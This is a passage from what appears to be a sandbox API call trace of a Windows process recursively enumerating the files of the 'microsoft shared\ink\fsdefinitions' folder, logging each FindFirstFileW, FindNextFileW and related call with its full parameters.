ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.624] FindClose (in: hFindFile=0x1d1590 | out: hFindFile=0x1d1590) returned 1 [0163.624] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.624] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0163.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1750 [0163.624] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.624] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0163.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1810 [0163.625] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.625] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0163.625] SetEvent (hEvent=0x29c) returned 1 [0163.625] ResetEvent (hEvent=0x2a0) returned 1 [0163.627] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0163.627] FindClose (in: hFindFile=0x1d1810 | out: hFindFile=0x1d1810) returned 1 [0163.628] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.628] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0163.628] SetEvent (hEvent=0x29c) returned 1 [0163.628] ResetEvent (hEvent=0x2a0) returned 1 [0163.630] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert", cAlternateFileName="")) returned 1 [0163.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b90 [0163.630] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.631] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0163.631] SetEvent (hEvent=0x29c) returned 1 [0163.631] ResetEvent (hEvent=0x2a0) returned 1 [0163.633] FindNextFileW (in: hFindFile=0x1d1b90, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0163.633] FindClose (in: hFindFile=0x1d1b90 | out: hFindFile=0x1d1b90) returned 1 [0163.633] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.633] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0163.633] SetEvent (hEvent=0x29c) returned 1 [0163.633] ResetEvent (hEvent=0x2a0) returned 1 [0163.635] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0163.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1550 [0163.636] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.636] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0163.636] SetEvent (hEvent=0x29c) returned 1 [0163.636] ResetEvent (hEvent=0x2a0) returned 1 [0163.638] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0163.638] SetEvent (hEvent=0x29c) returned 1 [0163.638] ResetEvent (hEvent=0x2a0) returned 1 [0163.640] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0163.641] SetEvent (hEvent=0x29c) returned 1 [0163.641] ResetEvent (hEvent=0x2a0) returned 1 [0163.643] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0163.643] FindClose (in: hFindFile=0x1d1550 | out: hFindFile=0x1d1550) returned 1 [0163.643] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.643] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0163.643] SetEvent (hEvent=0x29c) returned 1 [0163.643] ResetEvent (hEvent=0x2a0) returned 1 [0163.645] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0163.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1ad0 [0163.646] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.646] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0163.646] SetEvent (hEvent=0x29c) returned 1 [0163.646] ResetEvent (hEvent=0x2a0) returned 1 [0163.648] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0163.649] SetEvent (hEvent=0x29c) returned 1 [0163.649] ResetEvent (hEvent=0x2a0) returned 1 [0163.651] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0163.651] SetEvent (hEvent=0x29c) returned 1 [0163.651] ResetEvent (hEvent=0x2a0) returned 1 [0163.653] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0163.653] SetEvent (hEvent=0x29c) returned 1 [0163.654] ResetEvent (hEvent=0x2a0) returned 1 [0163.656] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0163.656] SetEvent (hEvent=0x29c) returned 1 [0163.657] ResetEvent (hEvent=0x2a0) returned 1 [0163.659] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0163.659] SetEvent (hEvent=0x29c) returned 1 [0163.659] ResetEvent (hEvent=0x2a0) returned 1 [0163.661] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0163.661] SetEvent (hEvent=0x29c) returned 1 [0163.662] ResetEvent (hEvent=0x2a0) returned 1 [0163.675] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0163.675] SetEvent (hEvent=0x29c) returned 1 [0163.675] ResetEvent (hEvent=0x2a0) returned 1 [0163.678] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0163.678] SetEvent (hEvent=0x29c) returned 1 [0163.678] ResetEvent (hEvent=0x2a0) returned 1 [0163.680] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0163.680] SetEvent (hEvent=0x29c) returned 1 [0163.680] ResetEvent (hEvent=0x2a0) returned 1 [0163.682] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0163.682] SetEvent (hEvent=0x29c) returned 1 [0163.682] ResetEvent (hEvent=0x2a0) returned 1 [0163.683] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0163.684] SetEvent (hEvent=0x29c) returned 1 [0163.684] ResetEvent (hEvent=0x2a0) returned 1 [0163.687] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0163.687] SetEvent (hEvent=0x29c) returned 1 [0163.687] ResetEvent (hEvent=0x2a0) returned 1 [0163.698] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x299e690 | out: lpFindFileData=0x299e690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0163.699] FindClose (in: hFindFile=0x1d1ad0 | out: hFindFile=0x1d1ad0) returned 1 [0163.699] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.699] FindNextFileW (in: hFindFile=0x1d1750, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, 